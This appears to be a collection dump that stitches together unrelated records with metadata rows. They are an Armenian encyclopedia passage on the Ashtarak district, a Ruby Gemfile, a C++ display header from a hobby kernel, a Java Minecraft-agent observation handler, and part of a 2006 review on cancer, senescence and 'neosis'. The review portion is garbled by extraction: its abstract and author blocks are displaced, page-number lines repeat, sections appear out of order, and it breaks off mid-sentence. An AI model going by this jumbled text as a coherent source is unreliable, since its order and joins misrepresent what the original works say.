Ճարտարապետական հուշարձաններից նշանավոր են Արշակունիների դամբարանը Ձորափում (4-րդ դար), Մեսրոպ Մաշտոցի դամբարանը և վրան կառուցված եկեղեցին Օշականում (5-րդ դար), Ագարակի, Փարպիի և Ավանի միանավ բազիլիկաները (5-6-րդ դարեր), Աշտարակի Կարմրավոր, Ծիրանավոր և Սպիտակավոր եկեղեցիները, Ամբերդ ամրոցը և Վահրամաշեն եկեղեցին (7-13-րդ դարեր), Մուղնիի սուրբ Գևորգ եկեղեցին (13-րդ դար) և շատ այլ կառույցներ։ Շրջանային կուսակցական կազմակերպությունը ստեղծվել էր 1930 թվականին։ 1987 թվականին կար 114 սկզբնական կուսակցական, 147 կոմերիտական կազմակերպություն։ Լույս էր տեսնում «Աշտարակ» շրջանային թերթը։
Ռելիեֆ և կլիմա
Գտնվում է Արագածի լեռնազանգվածի հարավային և հարավարևելյան լանջերին, 1000–3800 մ բարձրությունների վրա։ Օգտակար հանածոներից կան շինանյութեր։ Գերակշռում են կիսաանապատային, լեռնատափաստանային և լեռնամարգագետնային լանդշաֆտները։ Կան թփուտների պուրակներ։
Կլիման չոր ցամաքայինից լեռնատունդրային է (Արագածի գագաթամերձ շրջան), հունվարի միջին ջերմաստիճանը՝ - 4 °C-ից մինչև - 12 °C, հուլիսինը՝ 8- 25 °C, տարեկան տեղումները՝ 250-850 մմ, վեգետացիայի շրջանը՝ 40-205 օր։ Խոշոր գետը Քասաղն է՝ Ամբերդ վտակով։ Տարածքով անցնում է Արզնի-Շամիրամ ջրանցքը։
Տնտեսություն
Տնտեսության առաջատար ճյուղերն են գյուղատնտեսությունը, սննդի և շինանյութերի արդյունաբերությունը։ Կա 3 կոլեկտիվ, 23 խորհրդային տնտեսություն, 2 միջտնտեսային ձեռնարկություն։ Զարգացած է այգեպտղաբուծությունը, հացահատիկի, ծխախոտի, կերային և բանջարաբոստանային կուլտուրաների մշակումը, կաթնամսատու անասնապահությունը, շերամապահությունը, մեղվաբուծությունը, ճագարաբուծությունը։ Կար 12 արդյունաբերական ձեռնարկություն։ Արտադրանքի ծավալով առաջնակարգ են Աշտարակի գինու, շինանյութերի ձեռնարկությունները, տրիկոտաժի, թռչնաբուծական ֆաբրիկաները, Օշականի կարի ֆաբրիկան։ Ավտոճանապարհների երկարությունը 250 կմ էր։ Ուներ կապի հանգույց՝ 25 բաժանմունքով։
1986-87 ուսումնական տարում գործում էր 21 միջնակարգ, 4 երաժշտական, 1 գեղարվեստի, 3 մարզական դպրոց, 1 տեխնիկում և 2 պրոֆտեխնիկական ուսումնարան։ 1987 թվականին կար 5 հիվանդանոց, 1 կենտրոնական, 1 ստոմատոլոգիական պոլիկլինիկա, 16 մշակույթի տուն, 35 բժշկական կայան, 29 գրադարան, 15 ակումբ, 2 կինոթատրոն, ժողովրդական թատրոն, 12 կինոկայանք։ Տարածքում են ՀԽՍՀ ԳԱ Բյուրականի աստղադիտարանը, օպտիկամեխանիկական և ֆիզիկա-տեխնիկական լաբորատորիաները, ռադիոֆիզիկայի և էլեկտրոնիկայի ու ֆիզիկական հետազոտությունների ինստիտուտները, Պերճ Պռոշյանի տուն-թանգարանը։
Պատկերասրահ
Տես նաև
Հայկական ԽՍՀ վարչական բաժանում
Աշտարակի շրջան | 14,386 |
https://github.com/drakodev/truemail-rack/blob/master/Gemfile | Github Open Source | Open Source | MIT | 2,021 | truemail-rack | drakodev | Ruby | Code | 114 | 412 | # frozen_string_literal: true
source 'https://rubygems.org'
ruby(File.read(File.join(File.dirname(__FILE__), '.ruby-version')).strip[/-(.+)/, 1])
gem 'dry-struct', '~> 1.4'
gem 'rack', '~> 2.2', '>= 2.2.3'
gem 'thin', '~> 1.8', '>= 1.8.1'
gem 'truemail', '~> 2.4', '>= 2.4.6'
group :development, :test do
gem 'pry-byebug', '~> 3.9'
gem 'rack-test', '~> 1.1'
gem 'rspec', '~> 3.10'
# Code quality
gem 'bundler-audit', '~> 0.8.0', require: false
gem 'fasterer', '~> 0.9.0', require: false
gem 'overcommit', '~> 0.58.0', require: false
gem 'reek', '~> 6.0', '>= 6.0.4', require: false
gem 'rubocop', '~> 1.18', '>= 1.18.3', require: false
gem 'rubocop-performance', '~> 1.11', '>= 1.11.4', require: false
gem 'rubocop-rspec', '~> 2.4', require: false
end
group :test do
gem 'json_matchers', '~> 0.11.1', require: false
gem 'simplecov', '~> 0.17.1', require: false
end
| 15,889 |
https://github.com/Alexis211/Melon/blob/master/Source/Kernel/DeviceManager/Disp.ns.h | Github Open Source | Open Source | LicenseRef-scancode-public-domain | 2,014 | Melon | Alexis211 | C++ | Code | 90 | 297 | #ifndef DEF_DISP_NS_H
#define DEF_DISP_NS_H
#include <Devices/Display/VGATextOutput.class.h>
#include <WChar.class.h>
#include <Vector.class.h>
namespace Disp {
struct mode_t {
int textCols, textRows;
int graphWidth, graphHeight, graphDepth;
int identifier; //Used by video devices
Display *device;
};
extern Vector<mode_t> modes;
extern mode_t mode;
u16int textCols();
u16int textRows();
void putChar(u16int line, u16int col, WChar c, u8int color);
void moveCursor(u16int line, u16int col);
bool textScroll(u16int line, u16int col, u16int height, u16int width, u8int color);
void clear();
void getModes();
bool setMode(mode_t& mode);
void selectMode();
void setText(VGATextOutput* o); //To use only once : when display is initializing
}
#endif
| 45,455 |
https://github.com/ml4ai/tomcat/blob/master/external/malmo/Minecraft/src/main/java/com/microsoft/Malmo/MissionHandlers/ObservationFromRecentCommandsImplementation.java | Github Open Source | Open Source | MIT, BSD-3-Clause, LGPL-2.0-or-later, LGPL-2.1-only | 2,023 | tomcat | ml4ai | Java | Code | 560 | 1,158 | // --------------------------------------------------------------------------------------------------
// Copyright (c) 2016 Microsoft Corporation
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to
// deal in the Software without restriction, including without limitation the
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
// sell copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
// IN THE SOFTWARE.
// --------------------------------------------------------------------------------------------------
package com.microsoft.Malmo.MissionHandlers;
import com.google.gson.JsonArray;
import com.google.gson.JsonObject;
import com.google.gson.JsonPrimitive;
import com.microsoft.Malmo.MissionHandlerInterfaces.ICommandHandler;
import com.microsoft.Malmo.MissionHandlerInterfaces.IObservationProducer;
import com.microsoft.Malmo.Schemas.MissionInit;
import java.util.ArrayList;
import java.util.List;
/**
* ObservationProducer that returns a JSON array of all the commands acted on
* since the last observation message.<br> Note that the commands returned might
* not yet have taken effect, depending on the command and the way in which
* Minecraft responds to it - but they will have been processed by the command
* handling chain.
*/
public class ObservationFromRecentCommandsImplementation
extends HandlerBase implements IObservationProducer {
private boolean hookedIntoCommandChain = false;
private List<String> recentCommandList = new ArrayList<String>();
@Override
public void prepare(MissionInit missionInit) {}
@Override
public void cleanup() {}
@Override
public void writeObservationsToJSON(JsonObject json,
MissionInit missionInit) {
if (!hookedIntoCommandChain) {
// We need to see the commands as they come in, so we can determine
// which ones to echo back in the observation message. To do this we
// create our own command handler and insert it at the root of the
// command chain. It's slightly dirty behaviour, but it saves
// a) adding special code into ProjectMalmo.java just to allow
// for this ObservationProducer to work, and b) requiring the
// user to add a special command handler themselves at the
// right point in the XML.
MissionBehaviour mb = parentBehaviour();
ICommandHandler oldch = mb.commandHandler;
CommandGroup newch = new CommandGroup() {
protected boolean onExecute(
String verb, String parameter, MissionInit missionInit) {
// See if this command gets handled by the legitimate
// handlers:
boolean handled =
super.onExecute(verb, parameter, missionInit);
if (handled) // Yes, so record it:
ObservationFromRecentCommandsImplementation.this
.addHandledCommand(verb, parameter);
return handled;
}
};
newch.setOverriding((oldch != null) ? oldch.isOverriding() : true);
if (oldch != null)
newch.addCommandHandler(oldch);
mb.commandHandler = newch;
this.hookedIntoCommandChain = true;
}
synchronized (this.recentCommandList) {
// Have any commands been processed since we last sent a burst of
// observations?
if (this.recentCommandList.size() != 0) {
// Yes, so build up a JSON array:
JsonArray commands = new JsonArray();
for (String s : this.recentCommandList) {
commands.add(new JsonPrimitive(s));
}
json.add("CommandsSinceLastObservation", commands);
}
this.recentCommandList.clear();
}
}
protected void addHandledCommand(String verb, String parameter) {
// Must synchronise because command handling might happen on a different
// thread to observation sending.
synchronized (this.recentCommandList) {
this.recentCommandList.add(verb + " " + parameter);
}
}
}
| 5,535 |
https://openalex.org/W2096543460 | OpenAlex | Open Science | CC-By | 2,006 | Stem cells, senescence, neosis and self-renewal in cancer. | R. Rajaraman | English | Spoken | 24,934 | 43,656 | Abstract We describe the basic tenets of the current concepts of cancer biology, and review the recent advances
on the suppressor role of senescence in tumor growth and the breakdown of this barrier during the origin
of tumor growth. Senescence phenotype can be induced by (1) telomere attrition-induced senescence at
the end of the cellular mitotic life span (MLS*) and (2) also by replication history-independent, accelerated
senescence due to inadvertent activation of oncogenes or by exposure of cells to genotoxins. Tumor
suppressor genes p53/pRB/p16INK4A and related senescence checkpoints are involved in effecting the
onset of senescence. However, senescence as a tumor suppressor mechanism is a leaky process and
senescent cells with mutations or epimutations in these genes escape mitotic catastrophe-induced cell
death by becoming polyploid cells. These polyploid giant cells, before they die, give rise to several cells
with viable genomes via nuclear budding and asymmetric cytokinesis. This mode of cell division has been
termed neosis and the immediate neotic offspring the Raju cells. The latter inherit genomic instability and
transiently display stem cell properties in that they differentiate into tumor cells and display extended, but,
limited MLS, at the end of which they enter senescent phase and can undergo secondary/tertiary neosis to
produce the next generation of Raju cells. Neosis is repeated several times during tumor growth in a non-
synchronized fashion, is the mode of origin of resistant tumor growth and contributes to tumor cell
heterogeneity and continuity. The main event during neosis appears to be the production of mitotically
viable daughter genome after epigenetic modulation from the non-viable polyploid genome of neosis
mother cell (NMC). This leads to the growth of resistant tumor cells. Since during neosis, spindle
checkpoint is not activated, this may give rise to aneuploidy. Thus, tumor cells also are destined to die due
to senescence, but may escape senescence due to mutations or epimutations in the senescent checkpoint
pathway. A historical review of neosis-like events is presented and implications of neosis in relation to the
current dogmas of cancer biology are discussed. Genesis and repetitive re-genesis of Raju cells with
transient "stemness" via neosis are of vital importance to the origin and continuous growth of tumors, a
process that appears to be common to all types of tumors. We suggest that unlike current anti-mitotic
therapy of cancers, anti-neotic therapy would not cause undesirable side effects. Open Ac
Hypothesis
Stem cells, senescence, neosis and self-renewal in cancer
Rengaswami Rajaraman*1, Duane L Guernsey2, Murali M Rajaraman3 and
Selva R Rajaraman4 Open Access Address: 1Department of Medicine, Division of Hematology, Dalhousie University, Halifax NS. B3H 1X5, 2Department of Pathology, Dalhousie
University, Halifax NS. B3H 1X5, Canada, 3Nova Scotia Cancer Centre, Department of Radiation Oncology, QEII Health Sciences Center,
Dalhousie University, Halifax NS. B3H 1X5, Canada and 4Downtown Clinic, Windsor, ON, N9A 1G5, Canada Email: Rengaswami Rajaraman* - [email protected]; Duane L Guernsey - [email protected];
Murali M Rajaraman - [email protected]; Selva R Rajaraman - [email protected]
* C
di
h * Corresponding author Received: 06 October 2006
Accepted: 08 November 2006 Received: 06 October 2006
Accepted: 08 November 2006 ncer Cell International 2006, 6:25
doi:10.1186/1475-2867-6-25 This article is available from: http://www.cancerci.com/content/6/1/25 s article is available from: http://www.cancerci.com/content/6 © 2006 Rajaraman et al; licensee BioMed Central Ltd. j
This is an Open Access article distributed under the terms of the Creative Commons Attribution License (http://creativecommons.org/licenses/by/2.0),
which permits unrestricted use, distribution, and reproduction in any medium, provided the original work is properly cited. Mitosis and cancer Current concept of cancer is based on the belief that
tumor cells arise after about 13 mitotic divisions of the
initiated cell [7]. In addition, cancer cells also multiply by
mitotic division. Therefore, the conventional non-surgical
cancer treatments, consisting of chemotherapy and radio-
therapy target only the mitotic populations of tumor cells. They do not differentiate between proliferating normal
and tumor cells. This results in undesirable side effects
that limit the level of usable dose-intensity of these treat-
ments and restrict their application to only the fittest of
patients, this approach results in the growth of resistant
tumor cells in the place of originally responsive tumor
often in a matter of months by a mechanism that has not
been clearly understood. Development of novel strategies
to improve current status of cancer therapy will require
identification and exploitation of yet unrecognized differ-
ences between normal and tumor cells with respect to
propagation, evolution and development of resistance to
conventional treatments [15,16]. Recently, the role of senescence as a tumor suppressor
program has been demonstrated both in vitro and in vivo,
which is considered to be as efficient as the apoptosis pro-
gram. Cellular senescence can set in under different cir-
cumstances, which fall into two major categories: (1)
replication history-dependent telomere attrition-induced
senescence and (2) replication history-independent
senescence. Senescence phenotype induced by exposure
to chemotherapeutic agents fall in the second category. These agents induce accelerated senescence in both nor-
mal and tumor cells. Cellular events linking accelerated
senescence to mitotic arrest and cell death via mitotic
catastrophe, and eventual out growth of aneuploid neo-
plastic cells from such senescent populations have not
been clearly understood. In this review, (1) we summarize
the current concepts of cancer self-renewal, (2) draw
attention to recent developments in the understanding of
the role of senescence in cancer and (3) describe the novel
mode of cell division termed neosis, which helps cells
bypass senescence and aids tumor growth [5,6]. Further,
we discuss the implications of these findings to the cur-
rent concepts of cancer biology and propose a neosis-
based multistep carcinogenesis hypothesis that provides a
more rational explanation of the steps involved in the ori-
gin and progression of tumors. Abstract We propose a rational
hypothesis for the origin and progression of tumors in which neosis plays a major role in the multistep
carcinogenesis in different types of cancers. We define cancers as a single disease of uncontrolled neosis
due to failure of senescent checkpoint controls. Page 1 of 26
(page number not for citation purposes) http://www.cancerci.com/content/6/1/25 Cancer Cell International 2006, 6:25 http://www.cancerci.com/content/6/1/25 Current concepts in cancer biology Current concepts in cancer biology g
Mitosis and meiosis are the classic modes of cell division,
which have engaged the attention of the scientists for
more than a century. While mitosis involves the symmet-
ric division of a diploid, somatic cell to yield two diploid
daughter cells identical to the mother cell, meiosis or
reduction division yields varying number of haploid
daughter cells with chromosomes carrying new combina-
tions of alleles due to the cross-over phenomena. While
the former is responsible for the somatic growth of multi-
cellular organisms from the single celled zygote, the later
is involved in sexual reproduction by producing oocytes
or sperms, which will reconstitute the diploid somatic
cells after fertilization. In both cases, the nuclear envelope
is disassembled to facilitate accurate chromosome distri-
bution during karyokinesis, and is reassembled at the end
of kayrokinesis during the telophase [1]. Errors in chro-
mosome segregation during mitosis may cause aneu-
ploidy, which will be detrimental to the cell and if viable,
the cell will gain genomic instability, possibly leading to
cancer growth. In order to assure that the somatic cells
faithfully duplicate and distribute the genomic DNA to
daughter cells with high fidelity, several checkpoint con-
trols have evolved to regulate the mitotic cell cycle pro-
gression in order to maintain genomic stability in
daughter cells [Reviewed in [2-4]]. In addition, cells have
evolved tumor suppressor program consisting of tumor
suppressor genes and apoptosis genes. The essentials of the current concepts of cancer growth are
three fold: (1) Cancer originates via mitotic division of
normal cells with DNA damage [7]; (2) Cancer cells orig-
inate from mutant stem cells called cancer stem cells
(CSCs), which have the potential to self-propagate by
asymmetric division yielding one CSC and one differenti-
ating into tissue-specific tumor cell; [8-14] and (3) since
CSCs retain the properties of stem cells, they are immortal
and have unlimited division potential without being sub-
jected to the phenomenon of aging. Emerging new evi-
dence hints at a major revision of these current concepts
about cancer. Page 2 of 26
(page number not for citation purposes) Stem cells and their asymmetric division potential By this time, the Hayflick's concept of normal somatic
cells had limited mitotic division potential [18] and the
concept of 'immortality' of tumor cells [17] were well
known. It was also demonstrated that stem cells with
some mutation might play a role in the clonal origin of
some cancers [30-32]. The concept of stem cell origin of
cancers was postulated during the later part of the 19th
century [14]. The first experimental proof was published
by Till and McCullach [33]. Based on teratocarcinoma
studies, Pierce [34] proposed that cancer was due to mat-
uration arrest of stem cells. Thus, the scientific atmos-
phere was ripe to interpret these data on embryonic
carcinogenesis induction [30,31,35] to mean that stem
cells (ASCs) in regenerating tissues could be susceptible to
epigenetic changes, while they still retained their unlim-
ited division potential and, therefore, immortality. The
proposal that transformation of normal cells into neo-
plastic cells with unlimited mitotic division potential was
due to genetic and epigenetic alterations in ASCs, with the
retention of their unlimited division potential [30,31,35]
seemed a reasonable assumption. Thus, the suggestion
that mutant ASCs formed during the regenerative stages
gave rise to mutant stem cells, and have retained their
unlimited division potential was generally accepted. Based on the striking similarities between the ASCs and
cancer cells, the 'immortality' of cancer cells has been
attributed to a minority of tumor cells that can not only
self-renew but also can give rise to a full fledged tumor tis-
sue consisting of stem-like cells and abnormally differen-
tiated cells, thus resulting in the hierarchical nature of
tumor cell population [36,37]. These events lead to the
formation of a cell mass consisting of a minor percentage
of cancer stem cells, proliferating progenitor tumor cells
and non-dividing, incompletely differentiated tumor cells
making up the bulk of the tumor tissue. Thus, the concept
that cancer is a disease of unlimited mitotic division has
gained acceptance and the tumor-initiating cancer cells y
p
Stem cells are characterized by (1) the potential to
undergo continuous self-renewal and extensive prolifera-
tion, (2) the maintenance of a constant pool of the undif-
ferentiated stem cells through the life time of the host and
(3) the potential to undergo differentiation into multiple
cell types upon receiving the appropriate stimulus from
the microenvironment. Immortality of cancer cells and limited mitotic life span of
diploid somatic cells The common belief that cancer cells are immortal proba-
bly originated from the early attempts at mammalian cell
culture in vitro. Gey et al. [17] grew normal epithelial cells
and also cultured cells from invasive colon carcinoma. They established one of the oldest cancer cell cultures,
HeLa cells with continuous division potential. This
resulted in the notion that cells are immortal, while the
whole organisms were mortal. With the advent of sterile culture conditions and
improved culture media, Hayflick published his well
known study on normal embryonic diploid human lung
fibroblasts. Hayflick suggested that there was a "finite
limit to the cultivation period of diploid cell strains" and
that this was "attributable to the intrinsic factors which are
expressed as senescence at the cellular level," while trans-
formed or cancer cells were capable of unlimited mitotic
division potential and, therefore, were considered Page 2 of 26
(page number not for citation purposes) Page 2 of 26
(page number not for citation purposes) http://www.cancerci.com/content/6/1/25 Cancer Cell International 2006, 6:25 http://www.cancerci.com/content/6/1/25 'immortal' [18]. It has been now well established that this
Hayflick limit and the phenomenon of senescence are due
to the limited mitotic division potential of normal human
somatic cells. At the end of their limited mitotic life span
(MLS), normal cells enter a permanent non-proliferative
senescence phase, characterized by a large, flat morphol-
ogy, a high frequency of nuclear abnormalities and often
consisted of multinucleate and/or polyploid giant cells
(MN/PG cells). Senescent cells display positive stain for
senescence associated β-galactosidase at pH 6.0 (SA-β-gal)
[19]. Such cells display mitotic crisis and are thought to
die by mitotic catastrophe [20]. Onset of replicative senes-
cence in human cells is caused by the exhaustion of
mitotic potential due to telomere attrition as a function of
aging [21-23]. Telomere shortening beyond a certain limit
triggers DNA damage response [24-26]. early embryos in vivo were resistant to carcinogenic agents. Immortality of cancer cells and limited mitotic life span of
diploid somatic cells They became increasingly susceptible to tumorigenic
mutations by carcinogens, after the development of tissue
specific adult stem cells or ASCs and the process of orga-
nogenesis was initiated [28-31] The following two differ-
ent conclusions can be drawn from these data [6]: (1) Adult stem cells were prone to tumorigenic mutations,
while the transit amplifying and differentiating cells were
not and the embryonic stem cells were also resistant to
tumorigenic mutations due to their innate nature; (2) Determined adult stem cells (ASCs) and their commit-
ted transit amplifying cells and derivatives on the way to
differentiation were highly susceptible to tumor initiating
mutations, while the embryonic stem cells were relatively
resistant. (2) Determined adult stem cells (ASCs) and their commit-
ted transit amplifying cells and derivatives on the way to
differentiation were highly susceptible to tumor initiating
mutations, while the embryonic stem cells were relatively
resistant. Stem cells and their asymmetric division potential The primordial stem cell is the fer-
tilized oocyte or zygote, which gives rise to embryonic,
germinal and adult stem cells during development. Embryonic stem cells (ESCs) isolated from the inner cell
mass of 5–6 day old mammalian embryos are able to dif-
ferentiate into different cell types derived from all three
germ layers and are, therefore, considered pluripotent;
ESCs undergo symmetric and logarithmic expansion by
mitosis, both daughter cells being identical and retaining
pluripotency. Germinal stem cells (GSCs) are confined to
the gonads. After mitotic amplification, followed by a ter-
minal meiotic division, they produce the egg or the sperm
for sexual reproduction. During the early embryonic
development, as the germ layers are formed from the
ESCs, the process of cellular determination and organo-
genesis are initiated. The stem cells begin to undergo
asymmetric mitotic division, where one daughter cell
maintains the stem cell pool specific for different organs
and tissues, and the other starts the process of differentia-
tion through transit amplifying stages and becomes the
progenitor of somatic cells. These are the adult stem cells
(ASCs) or resident tissue-specific stem cells that are
involved in tissue homeostasis and are capable of tissue
regeneration. Thus, during development, the ESCs eventu-
ally give rise to about 200 different cell types of the adult
organism, as would be expected of their pluripotency
[6,27]. Page 3 of 26
(page number not for citation purposes) Stem cells and Cancer Stem Cells (CSCs) (
)
Studies on the susceptibility of fish and mammalian
embryos to tumorigenecity by carcinogens showed that Page 3 of 26
(page number not for citation purposes) Page 3 of 26
(page number not for citation purposes) Cancer Cell International 2006, 6:25 http://www.cancerci.com/content/6/1/25 with self-renewal potential have been termed "Cancer
Stem Cells" (CSCs). Therefore, akin to the ASCs, CSCs are
thought to constitute a constant pool of mutated adult
stem cells, and by virtue of their asymmetric division
potential, are responsible for the continuous growth of
tumor tissue, that consists of CSCs and differentiated
tumor cells [8,13,14,37]. share several properties of the transit amplifying and dif-
ferentiating cells. These include: (1) responsiveness of
ASCs to both intracellular and extracellular factors to stop
cycling and enter differentiation pathways or to enter
cycling state and play a role in tissue homeostasis [27,47];
(2) an age-dependent decrease of telomere length in
human hematopoietic stem cells (hHSCs), probably con-
tributing to a reduction in their proliferation potential
[48,49]; (3) limited division potential of adult human
mesenchymal stem cells (hMSCs) in vitro that can differ-
entiate into multiple cell lineages including bone, carti-
lage, adipose and muscle tissues, due to a lack of
telomerase [50-52]; (4) the loss of tumor suppressor func-
tion of p16Ink4a/p14Arf (or senescence checkpoint con-
trols) confers 'immortality' to hMSCs; (5) extension of
population doubling of hMSC by transduction of the tel-
omerase gene hTERT in vitro; and (6) the emergence of
some sublines of the cells with extended MLS, loss of con-
tact inhibition, anchorage independent growth potential
and formation of mesenchymal tumors in 10/10 mice by
acquired loss of p16Ink4a/p21, due to epigenetic inactiva-
tion by methylation of DBCCRI gene purportedly
involved in the onset of senescence [53] The concept that resident adult tissue stem cells turn into
CSCs with their own specific surface markers has gained
wide acceptance. Stem cell origin of cancers has been rec-
ognized in hematopoietic malignancies decades ago
[8,14,33,38,39] and more recently in solid tumors such as
breast tumors, brain tumors [9-13], melanoma [40] and
prostate cancer [41], each having its own specific surface
markers. The identification of such CSCs as a target for
anti-tumor therapy is currently being actively investigated
with the aim of using them as specific targets for cancer
therapy [11-13]. Stem cells and Cancer Stem Cells (CSCs) However, this concept is still controver-
sial and implies, but has not yet been unequivocally
proven, that CSCs are capable of asymmetric division, i.e.,
one daughter cell maintaining the CSC pool and the other
differentiating into tumor cells [6,42-44]. Recently, the
theoretical and technical difficulties of the CSC hypothe-
sis have been reported [42]. In addition, it is likely that
such tissue specific CSC markers are not unique to CSCs,
but may also be shared by normal stem cells and, proba-
bly, to a lesser degree by their transit amplifying somatic
cell intermediates. Further, since the CSCs are thought to
be immortal, this, in turn, implies that they are not subject
to aging and senescence, which will inevitably lead to tel-
omere attrition due to senescence-checkpoint and rejuve-
nation via neosis to turn cancerous (6, Also see below). Conditional telomerase expression caused proliferation
of hair follicle stem cells in vivo [54], while overexpression
of mTERT in basal keratinocytes resulted in increased epi-
dermal tumors and increased wound healing in transgenic
mice in vivo [55]. These events are similar to the events
after telomerase transduction in non-stem somatic cell
populations, respectively [6,21-23,48,56-63]. In addition,
telomerase is required for retarding the shortening of tel-
omeres and to extend the replicative life span of HSCs
during serial transplantation [64]. Expression of hTERT in
HIV-specific CD8+ T cells showed both an enhanced and
sustained capacity to inhibit HIV-1 replication and
enhanced antiviral functions accompanied by an increase
in proliferative potential and telomere length stabiliza-
tion [65]. As in the case of somatic differentiating cells,
stem cells also undergo telomere attrition during aging,
which is followed by breakage-fusion-bridge cycle, giving
rise to self-propagating mechanism for increasing the level
of genomic instability via aneuploidy [48,52,63,65-67]. Page 4 of 26
(page number not for citation purposes) http://www.cancerci.com/content/6/1/25 http://www.cancerci.com/content/6/1/25 Cancer Cell International 2006, 6:25 http://www.cancerci.com/content/6/1/25 http://www.cancerci.com/content/6/1/25 epithelial cells, myoblasts, chondrocytes etc., of various
mammalian species including mouse, rat, hamsters and
humans; and the resultant transformed cells isolated
using the transformed focus assay do form tumors in the
appropriate hosts [5,70-73]. Consistent with the concept
of origin of tumor growth from the differentiating popu-
lation beyond the initiation of determination stage is the
fact that almost ~200 different types of human cancers are
known, just as many as the number of differentiated cell
types [27]. This correlates well with ~200 different micro-
RNAs that are known to be involved in the process of dif-
ferentiation [74-76]. Recent findings that the microRNA
profiles of cancer cells reflect the developmental lineage
and differentiation stage of tumors [77] suggest that ASCs
and the transit amplifying cells and not simply the
'immortal' ASCs alone are prone to carcinogenic muta-
tions. Even differentiated cells may be prone to turn carci-
nogenic, when infected with tumor viruses such as acute
transforming viruses (Eg. RSV), Human T cell leukemia
virus, SV40, human papilloma viruses HPV-5, -8, -16, -18
and -31, human hepatitis virus B, and Burkitt's lymphoma
virus etc., since these viruses carry their own transforming
genes, that have potential to inactivate the tumor suppres-
sor genes required for the onset of senescence and often
carry growth promoting genes [78]. Accelerated premature senescence in the absence of tel-
omere attrition can be induced by different non-lethal
conditions that cause acute genetic duress in primary cells
in vitro and in vivo. Such cells also display similar charac-
teristics such as non-responsiveness to growth factors,
large, flat cell morphology with nuclear abnormalities,
and stain positive for SA-β-gal and senescence associated
heterochromatin
formation
(SAHF)
[Reviewed
in
[19,84]]. DNA-damage induced repair response is acti-
vated in such cells, just as in the case of telomere attrition-
induced senescent cells. Such acute genetic stress-inducing
factors include unfavorable culture conditions [86], or the
addition of aberrant oncogenic and mitogenic signals
such as activated H-RAS [87]. In addition, as can be
expected, chemotherapeutic agents that induce DNA dou-
ble strand breaks [88], and mitotic spindle toxins [89,90]
are also known to effect accelerated senescent phenotype. Oncogene-induced premature senescence will terminate a
pre-malignant condition before a fully transformed cell
can develop from primary cells [80,91] and is associated
with the p53, p16INK4a, pRB pathway. http://www.cancerci.com/content/6/1/25 Using a mouse
model, in which the oncogene Ras was activated in the
hematopoietic cells of the bone marrow, Braig et al. [92]
have demonstrated that cellular senescence phenotype
can efficiently block the development of lymphoma. pRB-
mediated silencing of growth promoting genes by SAHF
was shown to be formed via methylation of histone H3
lysine 9 (H3K9me) [93]. The histone methyltransfearse
Suv39h1 protein methylates histones and physically
binds with pRB tumor suppressor protein [94,95]. Suv39h1 was shown to be required for oncogene-induced
premature senescence due to the introduction of Ras in
lymphocytes [92]. Proliferation of primary lymphocytes
was stalled by a SuV39h1-dependent H3Kme-related
senescent growth arrest in response to oncogenic Ras,
resulting in the inhibition of the initial step of lymphom-
agenesis. In Suv39h1-deficient lymphomas, RB was una-
ble to promote senescence [92]. Similarly, using
conditional oncogene K-rasV12 in a mouse model for
human cancer initiation, Collada et al. [96] have shown
that both in lung and in pancreas, premalignant tumor tis-
sues displayed extensive senescent cells as indicated by the
expression of different senescent markers including
p16INK4a, p15INK4b, SA-β-gal, Dec1, DcR2 and SAHF,
while these markers were rare or absent in the same
tumors after they turned malignant; this could prove use-
ful both in prognoss and diagnosis of cancer. Similarly,
chemically induced premalignant skin papillomas with
H-Ras oncogenic mutation displayed senescence marker
in vivo [96]. Stem cells (ASCs) resemble somatic cells Weismann [45] popularized the concept of a complete
separation in metazoans between a potentially immortal
germ line and a mortal soma that transfers the germ line
to the next generation and then senesces. This concept has
led to the conviction that somatic cells are subject to
senescence, while the germ cells are not. However, it
should be pointed out that even the germ cells are also
subject to aging along with its host [46]; however, they are
rejuvenated by sexual reproduction at the beginning of
each generation. According to this definition, adult stem
cells would also be considered to be somatic cells, since
these are probably committed to differentiate, although
they might be more primitive compared to transit ampli-
fying cells [6,27]. Stem cells are attractive candidates to initiate cancer due
to their pre-existing capacity for self-renewal and 'unlim-
ited' proliferative potential, and their likelihood of accu-
mulating mutations through the age of the host [14,47]. However, cancer causing mutations also arise in the more
committed progenitors, the mitotic derivatives of stem
cells at any state in the differentiation pathways in various
tissue cell types [8,68,69]. In fact, most of the in vitro stud-
ies since 1970s on cancer initiation, promotion, and pro-
gression have been carried out not in stem cells, but in
differentiating somatic, non-stem cells such as fibroblasts, In spite of the obvious difference in the division potentials
between ASCs (potential to self-renew and unlimited
MLS) and differentiating somatic cells (limited MLS), it is
becoming increasingly clear that ASCs may lose division
potential as they approach their differentiated state, and Page 4 of 26
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(page number not for citation purposes) Induction of accelerated senescence as anti-cancer
therapy It is clear that the senescence phenotype can be induced
under different conditions that might cause impediment
to normal mitosis creating a mitotic crisis, including: (1)
intrinsic ageing induced senescence (M1); (2) prolifera-
tive history dependent telomere attrition induced mitotic
crisis (M2); (3) spontaneous, cumulative DNA damage
induced senescence; (4) oncogene-induced accelerated
senescence; and (5) genotoxin-induced premature senes-
cence. Loss of Ku86 involved in chromosomal metabolism
induces early onset of senescence in mice [100]. Telomere
fusions responsible for breakage fusion bridge formation
can be caused by mutations in the terminal region of tel-
omeric DNA [101,102]. It has been recently shown that
psychological stress, both perceived and chronic, is signif-
icantly associated with higher oxidative stress, lower tel-
omerase activity, and shorter telomere length, which are
known determinants of cell senescence and longevity, in
peripheral blood mononuclear cells from healthy pre-
menopausal women [103] As described above, in primary cells, induction of an
accelerated senescent phase acts as an efficient tumor sup-
pressor mechanism; and DNA damaging agents or geno-
toxins also elicit an accelerated senescence-like phenotype
[Reviewed in [114-116]] by activating DNA damage
